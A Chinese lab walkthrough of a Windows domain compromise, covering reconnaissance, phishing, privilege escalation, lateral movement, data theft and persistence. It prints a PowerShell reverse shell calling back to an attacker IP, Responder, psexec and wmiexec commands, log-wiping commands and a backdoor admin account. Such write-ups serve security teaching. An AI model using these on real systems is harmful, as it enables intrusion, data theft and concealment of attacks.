一、从新闻事件说起
有一次,我在浏览安全新闻时,看到一起关于企业网络被横扫的案件。这家公司因为内部一台域控服务器被攻陷,最终导致整个网络沦陷,所有员工的身份信息和客户资料被泄漏。虽然官方没有详细披露攻击细节,但这类事件往往是从域渗透攻击开始的。作为一个参加过多场CTF的安全技术爱好者,我对域环境的攻击很感兴趣,因为它不仅挑战技术能力,还需要深刻理解企业网络的运行机制。
今天,我想分享一次在实验环境中进行的完整Windows域渗透攻击,从信息收集到权限提升,再到横向移动和数据窃取,展示一个攻击者如何一步步掌控整个域环境。同时,所有的技术演示仅供授权测试和安全研究学习,切勿用于非法用途。
---
二、域渗透的攻击逻辑
在一次CTF比赛中,我发现很多关卡都涉及域环境的渗透。域渗透的核心目标是从普通用户的权限逐步提升到域管理员权限,并最终掌控整个域。为了实现这一目标,我们通常会遵循以下攻击逻辑:
- 信息收集:获取域内的关键信息,比如域名、用户账号、域控制器IP地址等。
- 初始 foothold(立足点):通过钓鱼或其他漏洞获取域内某台主机的权限。
- 权限提升:利用漏洞或工具将普通用户权限提升为域管理员权限。
- 横向移动:利用域内的信任关系在其他主机之间移动,扩大影响范围。
- 数据窃取与持久化:提取敏感数据并隐藏攻击痕迹以维持长期控制。
接下来,我们将以一个虚拟实验环境为例,完整展示以上过程。
---
三、搭建实验环境
为了还原一个真实的攻击场景,我搭建了一个简单的域环境,包含以下组件:
- 域控制器:Windows Server 2019,域名为
test.local - 普通主机:Windows 10,加入域
- 攻击机:Kali Linux,用于执行攻击
此外,我还需要一些工具,主要包括:
- Impacket:一个强大的Python工具包,用于执行各种Windows协议攻击。
- Responder:用于中间人攻击,捕获域内的认证数据。
- BloodHound:一款图形化分析工具,帮助我们发现域内的权限提升路径。
如果你自己搭建环境,域控制器和普通主机可以用虚拟机实现,攻击机推荐使用最新的Kali Linux。
---
四、信息收集初步分析
攻击的第一步永远是信息收集。在域渗透的场景中,我们需要尽可能多地了解以下内容:
- 域名:比如
test.local - 域用户账号:可以通过枚举或钓鱼获取
- 域控制器IP地址:通常使用DNS查询或ARP抓包找到
- 域内信任关系:比如哪些用户对哪些机器有权限
在实验环境中,我已经知道域名是 test.local,所以首先使用 Responder 工具进行信息捕获:
<pre><code class="language-bash"># Responder 用于监听域内的认证流量 sudo responder -I eth0 -rdw</code></pre>
这个工具会监听局域网内的网络流量,当某些机器尝试连接域控制器时,它可能会发送认证请求。通过 Responder,我们可以捕获这些请求并提取出用户名和哈希值。
然后,我用 Impacket 的 GetADUsers.py 工具枚举出了所有域用户账号:
<pre><code class="language-bash"># 枚举域用户账号,密码不用知道,只需要有访问权限 python3 GetADUsers.py test.local/username:password</code></pre>
运行后,得到了一些用户信息,比如:
<pre><code>Administrator JohnSmith HRManager Guest</code></pre>
这些信息在后续权限提升中会非常重要。

---

五、初始 foothold:钓鱼获取权限

在信息收集阶段,我发现用户 JohnSmith 的账号很常见,应该是普通员工。接下来,我通过一次简单的社工钓鱼,诱导他运行我的恶意脚本(为演示安全性,这里仅模拟操作)。恶意脚本的代码如下,使用 Python 和 Powershell 构造:
<pre><code class="language-powershell"># Payload:反向连接到攻击机 $client = New-Object System.Net.Sockets.TCPClient("192.168.1.100",4444) $stream = $client.GetStream() [byte[]]$buffer = 0..255|%{0} while(($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0){ ($data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer,0, $i)) -ne 'exit' Invoke-Expression $data }</code></pre>
将代码保存为 .ps1 文件后,通过邮件诱导 JohnSmith 运行。成功运行后,我在攻击机上设置了监听:
<pre><code class="language-bash"># 使用 netcat 监听反向连接 nc -lvnp 4444</code></pre>
当目标运行脚本后,我获得了他的机器权限。这就是我的初始 foothold。
---

六、权限提升:从普通用户到域管理员
在获得 JohnSmith 的权限后,我开始尝试权限提升。我首先检查他是否有特殊权限,比如管理域服务器。为了快速分析域内的权限关系,我使用 BloodHound 工具:
<pre><code class="language-bash"># 上传 BloodHound 数据收集脚本 python3 bloodhound-python -u JohnSmith -p password -d test.local -c All</code></pre>
收集数据后,我在 BloodHound 界面中发现了一条权限提升路径:JohnSmith 对一台文件服务器有写权限,而这台服务器的管理员账户可以访问域控制器。
于是,我利用 Impacket 的 psexec.py 工具在文件服务器上执行命令:
<pre><code class="language-bash"># 使用 psexec 登录文件服务器 python3 psexec.py test.local/Administrator:[email protected]</code></pre>
登录成功后,我提取了文件服务器管理员的认证令牌,再通过类似的方式登录域控制器,最终获得域管理员权限。
---
七、横向移动与数据窃取
有了域管理员权限后,横向移动就变得轻松了。通过 Impacket 的 wmiexec.py 工具,我可以在域内任意机器上执行命令:
<pre><code class="language-bash"># 执行命令窃取敏感数据 python3 wmiexec.py test.local/Administrator:[email protected] "type C:\Users\HRManager\Documents\salary.xlsx"</code></pre>
这样,我提取了域内的敏感文件,比如员工工资表、财务记录等。
---
八、痕迹清除与持久化
为了隐藏我的攻击,我清除了系统日志,并植入了一个持久化后门:
<pre><code class="language-bash"># 清除日志 wevtutil cl System wevtutil cl Security
持久化后门:创建隐秘用户
net user backdoor P@ssw0rd! /add net localgroup Administrators backdoor /add</code></pre>
这样,即使管理员发现攻击迹象,我也可以通过后门重新进入系统。
---
九、个人经验总结
完成这次实验后,我深刻感受到域渗透的复杂性和挑战。整个过程需要不仅需要技术能力,还需要耐心和细致的分析。以下是我的几点经验:
- 信息收集是关键:掌握域内的用户和机器信息是突破的第一步。
- 工具熟练使用:要熟悉各种工具,比如 Impacket、BloodHound 等。
- 权限提升路径分析:善于发现权限提升的漏洞或信任关系。
- 绕过检测:注意免杀和日志清理,以避免被发现。
希望这篇文章对大家理解域渗透攻击有所帮助,也欢迎大家在授权环境中实践学习。记住,安全研究的目的永远是保护系统,而不是破坏它。